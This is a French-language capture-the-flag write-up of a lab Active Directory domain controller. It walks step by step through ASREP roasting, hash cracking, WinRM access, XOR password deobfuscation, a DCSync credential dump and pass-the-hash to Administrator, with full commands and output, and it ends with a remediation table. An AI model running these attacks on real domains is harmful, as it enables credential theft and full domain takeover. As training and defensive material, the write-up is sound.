Lab NtDomix : ASREP Roasting, Reverse XOR et DCSync vers l'Administration d'un DC
Pentest black-box d'un domaine Active Directory appartenant à une entreprise de sauvegarde : reconnaissance web révélant une convention de nommage des comptes de service, ASREP Roasting sur VE-NTDC01, accès WinRM, découverte d'un mot de passe obfusqué en XOR dans un fichier source C, déobfuscation en Python, DCSync via vaultengine3.5 et accès Administrateur par Pass-the-Hash.
Contexte et Objectifs
| Champ | Détail |
|---|---|
| Plateforme | CreedCTF |
| Lien | Accéder au lab |
| Cible | NTDC01.ntdomix.local, 192.168.203.29 |
| OS | Windows Server 2025 (Build 26100) |
| Domaine | ntdomix.local |
| Type | Black-box internal pentest, aucun credential |
| Difficulté | Facile |
Scénario : Ntdomix est une entreprise spécialisée dans la sauvegarde et la continuité d'activité. Son environnement Active Directory est central dans la gestion des utilisateurs et des permissions. L'objectif est d'identifier les mauvaises configurations et d'escalader jusqu'aux droits Administrateur du domaine.
Kill chain :
HTTP → code source → Flag 1 + convention VE-<NOM_MACHINE>
│
▼
SMB anonyme/guest → refusé
│
▼
ASREP Roasting VE-NTDC01 → hash cracké → NTDX1960gandalf
│
▼
Evil-WinRM → C:\VaultEngine\3.5\engine.c → Flag 2 + XOR obfusqué
│
▼
Déobfuscation Python → vaultengine3.5:#B3ST-F0R-B@CKuP-S0LuTI0N#
│
▼
DCSync → hash Administrateur
│
▼
Evil-WinRM PtH → Flag 3
1. Reconnaissance
rustscan -b 500 -a 192.168.203.29 -- -sC -sV -Pn
Output :
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
80/tcp open http Microsoft IIS httpd 10.0
|_http-title: Ntdomix - Sauvegarde & Protection des Données
88/tcp open kerberos-sec Microsoft Windows Kerberos
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP
(Domain: ntdomix.local)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP
3389/tcp open ms-wbt-server Microsoft Terminal Services
| rdp-ntlm-info:
| Target_Name: NTDOMIX
| NetBIOS_Computer_Name: NTDC01
| DNS_Domain_Name: ntdomix.local
| DNS_Computer_Name: NTDC01.ntdomix.local
| Product_Version: 10.0.26100
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (WinRM)
9389/tcp open mc-nmf .NET Message Framing
Host script results:
| smb2-security-mode:
|_ Message signing enabled and required
|_clock-skew: mean: 59m58s, deviation: 0s, median: 59m58s
Analyse :
La combinaison DNS (53), Kerberos (88), LDAP (389/3268), SMB (445), kpasswd (464) et RPC over HTTP (593) est la signature d'un Contrôleur de Domaine Active Directory. Le domaine ntdomix.local et le nom de machine NTDC01 sont directement exposés.
Observations importantes :
Message signing enabled and required : la signature SMB est obligatoire. Le NTLM Relay est impossible.
clock-skew: 59m58s : décalage d'horloge de presque une heure. C'est dans la tolérance Kerberos de 5 minutes... à condition de synchroniser notre horloge avec la cible avant d'utiliser Kerberos.
WinRM (5985) : si on obtient des credentials valides, un accès shell via Evil-WinRM est possible.
Un port inhabituel pour un DC : 80/tcp, Microsoft IIS. Un site web tourne sur ce DC. C'est le premier endroit à explorer.
On ajoute les entrées dans /etc/hosts :
echo "192.168.203.29 ntdomix.local NTDC01.ntdomix.local NTDC01" | sudo tee -a /etc/hosts
2. Reconnaissance Web (HTTP 80)
http://ntdomix.local
Le site vitrine de l'entreprise. On inspecte le code source (Ctrl+U) et on parcourt les liens :
Un lien vers une seconde page est présent dans le code source. On y accède :
Deux découvertes critiques sur cette page :
1. Flag 1 est présent dans le code source en tant que commentaire HTML.
2. La convention de nommage des comptes de service est documentée :
VaultEngine utilise un compte de service par machine, nommé selon le schéma :
VE-<NOM_MACHINE>
Notre DC s'appelle NTDC01. Son compte de service associé est donc VE-NTDC01. On note ce username pour la phase d'attaque Kerberos.
3. Énumération SMB
nxc smb ntdomix.local -u '' -p '' --smb-timeout 30
SMB NTDC01 [-] ntdomix.local\: STATUS_ACCESS_DENIED
nxc smb ntdomix.local -u 'guest' -p '' --smb-timeout 30
SMB NTDC01 [-] ntdomix.local\guest: STATUS_LOGON_FAILURE
Les connexions anonyme et invitée sont toutes les deux refusées. Pas d'énumération de partages ni d'utilisateurs possible sans credentials. On passe directement à l'attaque Kerberos avec le seul username qu'on possède.
4. ASREP Roasting sur VE-NTDC01
Comprendre l'Attaque
Normalement, pour obtenir un ticket Kerberos, un utilisateur doit d'abord prouver son identité en envoyant un timestamp chiffré avec son hash de mot de passe, c'est la pré-authentification Kerberos. Si un compte a cette option désactivée (Do not require Kerberos preauthentication), le KDC envoie un AS-REP sans vérification préalable, et cet AS-REP contient des données chiffrées avec le hash du mot de passe de l'utilisateur, crackables hors ligne.
Exploitation
impacket-GetNPUsers ntdomix.local/VE-NTDC01 \
-no-pass \
-format hashcat \
-dc-ip 192.168.203.29 \
-outputfile ASREProastables.txt
$krb5asrep$23$VE-NTDC01@NTDOMIX.LOCAL:...hash...
Le compte VE-NTDC01 a la pré-authentification désactivée. Le hash AS-REP est récupéré. On le craque avec hashcat :
hashcat -m 18200 -a 0 ASREProastables.txt /usr/share/wordlists/rockyou.txt
VE-NTDC01 : NTDX1960gandalf
5. Accès WinRM en tant que VE-NTDC01
Enumération SMB avec Credentials
nxc smb ntdomix.local -u 'VE-NTDC01' -p 'NTDX1960gandalf' --users --smb-timeout 30
SMB 192.168.203.29 445 NTDC01 [*] Windows 11 / Server 2025 Build 26100 x64 (name:NTDC01) (domain:ntdomix.local) (signing:True) (SMBv1:None)
SMB 192.168.203.29 445 NTDC01 [+] ntdomix.local\VE-NTDC01:NTDX1960gandalf
SMB 192.168.203.29 445 NTDC01 -Username- -Last PW Set- -BadPW- -Description-
SMB 192.168.203.29 445 NTDC01 Administrateur 2025-11-24 14:17:53 0 Compte d’utilisateur d’administration
SMB 192.168.203.29 445 NTDC01 Invité <never> 0 Compte d’utilisateur invité
SMB 192.168.203.29 445 NTDC01 krbtgt 2025-11-24 15:38:26 0 Compte de service du centre de distribution de clés
SMB 192.168.203.29 445 NTDC01 ve-ntdc01 2025-11-25 12:18:19 0 Compte métier interne de la solution VaultEngine3.5
SMB 192.168.203.29 445 NTDC01 vaultengine3.5 2025-11-25 13:31:00 0 Compte métier interne pour solution de sauvegarde (DCSync)
SMB 192.168.203.29 445 NTDC01 [*] Enumerated 5 local users: NTDOMIX
La liste des utilisateurs du domaine est récupérée avec succès, confirmant que les credentials sont valides et que le compte a des droits de lecture sur l'annuaire.
Connexion Evil-WinRM
evil-winrm -u VE-NTDC01 -p 'NTDX1960gandalf' -i 192.168.203.29
On explore le système de fichiers depuis la racine C:\ :
*Evil-WinRM* PS C:\Users\ve-ntdc01\Documents> dir C:\
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 11/24/2025 4:54 PM inetpub
d-r--- 11/24/2025 3:10 PM Program Files
d-r--- 4/1/2024 9:11 AM Program Files (x86)
d-r--- 11/25/2025 2:30 PM Users
d----- 11/25/2025 1:31 PM VaultEngine
d----- 11/25/2025 12:32 PM Windows
-a---- 11/24/2025 5:32 PM 18392 pwpolicy.inf
Le dossier VaultEngine est non standard. On l'explore :
*Evil-WinRM* PS C:\> dir VaultEngine
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 11/25/2025 1:32 PM 3.5
*Evil-WinRM* PS C:\> dir VaultEngine\3.5
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 11/25/2025 2:48 PM 11328 engine.c
Un fichier source C. On l'ouvre :
*Evil-WinRM* PS C:\> Get-Content VaultEngine\3.5\engine.c
6. Analyse de engine.c et Déobfuscation XOR
Ce que Révèle le Fichier Source
/*
* VaultEngine 3.5 - Demo client
*
* NOTE IMPORTANTE :
* - Ce code simule un client de sauvegarde "VaultEngine 3.5"
* - Un compte de backup "vaultengine3.5" est caché dans le binaire
* - Le mot de passe est stocké obfusqué (XOR) et reconstruit en mémoire
* - Ne JAMAIS utiliser ce genre de pratique en prod :)
*/
Le fichier contient délibérément les credentials du compte vaultengine3.5 obfusqués par XOR. On parcourt le code et on trouve la section d'obfuscation :
/* Technique (XOR) : clear_char = obfuscated_byte ^ KEY */
static const uint8_t VE_OBF_USER[] = {
65, 86, 66, 91, 67, 82, 89, 80, 94, 89, 82, 4, 25, 2
};
//FLAG2{...}
static const uint8_t VE_OBF_PASS[] = {
20, 117, 4, 100, 99, 26, 113, 7, 101, 26, 117, 119, 116,
124, 66, 103, 26, 100, 7, 123, 66, 99, 126, 7, 121, 20
};
#define VE_XOR_KEY 0x37
Flag 2 est présent en commentaire directement dans le code source.
Comprendre l'Obfuscation XOR
L'obfuscation XOR repose sur une propriété mathématique fondamentale : l'opération XOR est symétrique.
Chiffrement : clair ^ clé = obfusqué
Déchiffrement: obfusqué ^ clé = clair
La même opération avec la même clé chiffre et déchiffre. Ici, chaque octet du tableau VE_OBF_PASS a été XORé avec 0x37 (55 en décimal) pour produire l'octet obfusqué. Pour retrouver le mot de passe, on XORe à nouveau chaque octet avec 0x37.
Déobfuscation en Python
bytes_pass = [
20, 117, 4, 100, 99, 26, 113, 7, 101, 26,
117, 119, 116, 124, 66, 103, 26, 100, 7, 123,
66, 99, 126, 7, 121, 20
]
key = 0x37
password = "".join(chr(b ^ key) for b in bytes_pass)
print(f"Le mot de passe est : {password}")
Le mot de passe est : #B3ST-F0R-B@CKuP-S0LuTI0N#
vaultengine3.5 : #B3ST-F0R-B@CKuP-S0LuTI0N#
Validation des Credentials
nxc smb ntdomix.local -u 'vaultengine3.5' -p '#B3ST-F0R-B@CKuP-S0LuTI0N#' --smb-timeout 30
SMB NTDC01 [+] ntdomix.local\vaultengine3.5:#B3ST-F0R-B@CKuP-S0LuTI0N#
Credentials valides. En consultant la description du compte dans l'AD, on note qu'il possède les droits DCSync (Replicating Directory Changes). On ne cherche pas plus loin.
7. DCSync avec vaultengine3.5
Comprendre DCSync
Dans un Active Directory multi-DC, les contrôleurs de domaine se répliquent mutuellement via le protocole DRSUAPI. Un compte disposant des droits Replicating Directory Changes peut imiter ce comportement et demander la réplication de n'importe quel objet, y compris les hashes NTLM de tous les comptes. impacket-secretsdump automatise cette demande entièrement par le réseau, sans toucher au fichier NTDS.dit sur le disque.
impacket-secretsdump \
'ntdomix.local/vaultengine3.5:#B3ST-F0R-B@CKuP-S0LuTI0N#@192.168.203.29' \
-just-dc \
-dc-ip 192.168.203.29
Output :
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrateur:500:aad3b435b51404eeaad3b435b51404ee:212de7626cb77706c546bcce41cb79b1:::
Invité:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:5e1d3bfb1d2ea7a89c1d006b2f44f1cd:::
ntdomix.local\ve-ntdc01:1126:aad3b435b51404eeaad3b435b51404ee:0de6fcd408493efbbc249528e824f725:::
ntdomix.local\vaultengine3.5:1127:aad3b435b51404eeaad3b435b51404ee:272cbb119f347f20e04a4904a9cbb39c:::
NTDC01$:1000:aad3b435b51404eeaad3b435b51404ee:e2945fa626192064613607881a59428c:::
[*] Cleaning up...
Hash NT de l'Administrateur : 212de7626cb77706c546bcce41cb79b1
Validation du Hash
nxc smb ntdomix.local \
-u 'Administrateur' \
-H 'aad3b435b51404eeaad3b435b51404ee:212de7626cb77706c546bcce41cb79b1' \
--shares --smb-timeout 30
SMB NTDC01 [+] ntdomix.local\Administrateur:212de7626cb77706c546bcce41cb79b1 (Pwn3d!)
8. Accès Administrateur et Flag 3
Connexion Evil-WinRM par Pass-the-Hash
evil-winrm -u Administrateur -i 192.168.203.29 -H '212de7626cb77706c546bcce41cb79b1'
*Evil-WinRM* PS C:\Users\Administrateur\Documents> cd ..\Desktop
*Evil-WinRM* PS C:\Users\Administrateur\Desktop> dir
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 11/25/2025 2:30 PM 42 flag3.txt
*Evil-WinRM* PS C:\Users\Administrateur\Desktop> Get-Content flag3.txt
Flag 3 récupéré. Compromission totale du domaine.
9. Conclusion et Remédiation
Kill Chain Complète
1. RustScan → NTDC01.ntdomix.local, IIS 80, WinRM 5985, signing requis
2. HTTP code source → page cachée → Flag 1 + convention VE-<NOM_MACHINE>
3. SMB anonyme/guest → refusés
4. ASREP Roasting → VE-NTDC01 sans pré-auth → hash cracké → NTDX1960gandalf
5. Evil-WinRM VE-NTDC01 → C:\VaultEngine\3.5\engine.c
6. engine.c → Flag 2 + XOR VE_OBF_PASS + clé 0x37
7. Python XOR → vaultengine3.5:#B3ST-F0R-B@CKuP-S0LuTI0N#
8. DCSync → hash Administrateur 212de7626cb77706c546bcce41cb79b1
9. Evil-WinRM PtH → nt authority\system → Flag 3
Remédiation
| Vecteur | Problème | Remédiation |
|---|---|---|
| Informations sensibles en HTTP | Convention de nommage des comptes de service exposée sur un site public | Ne jamais documenter des conventions de nommage internes sur des sites accessibles. Les schémas de nommage prédictibles permettent l'énumération sans accès au domaine |
| ASREP Roasting sur VE-NTDC01 | La pré-authentification Kerberos est désactivée sur un compte de service | Activer la pré-authentification sur tous les comptes. Audit régulier : Get-ADUser -Filter {DoesNotRequirePreAuth -eq $true} |
| Mot de passe faible VE-NTDC01 | NTDX1960gandalf est présent dans rockyou.txt | Imposer des mots de passe de 25+ caractères générés aléatoirement pour tous les comptes de service, ou migrer vers des gMSA (Group Managed Service Accounts) |
| Hardcoded credentials obfusqués | Le mot de passe de vaultengine3.5 est stocké XOR dans un fichier source déployé sur le serveur | Ne jamais embarquer de credentials dans du code source, même obfusqués. Utiliser des coffres de secrets (HashiCorp Vault, Windows DPAPI, Azure Key Vault). L'obfuscation XOR n'est pas du chiffrement |
| Droits DCSync sur vaultengine3.5 | Un compte de service applicatif possède les droits de réplication de l'annuaire | Les droits DCSync doivent être réservés aux seuls DCs légitimes. Auditer régulièrement les comptes avec Replicating Directory Changes dans les ACL de la partition de domaine |
| Pass-the-Hash possible | L'authentification NTLM est acceptée sur WinRM | Activer Protected Users Security Group pour les comptes d'administration, désactiver NTLM au profit de Kerberos uniquement via GPO |
[!NOTE] La particularité de ce lab est que le vecteur d'entrée initial, la convention de nommage des comptes de service, vient du site web de l'entreprise elle-même. Sans cette information,
VE-NTDC01est un username difficile à deviner. La publication d'informations organisationnelles internes sur des canaux publics est souvent sous-estimée comme risque de sécurité. Dans un engagement réel, la phase OSINT précède toujours la phase technique.
Writeup rédigé par Zcook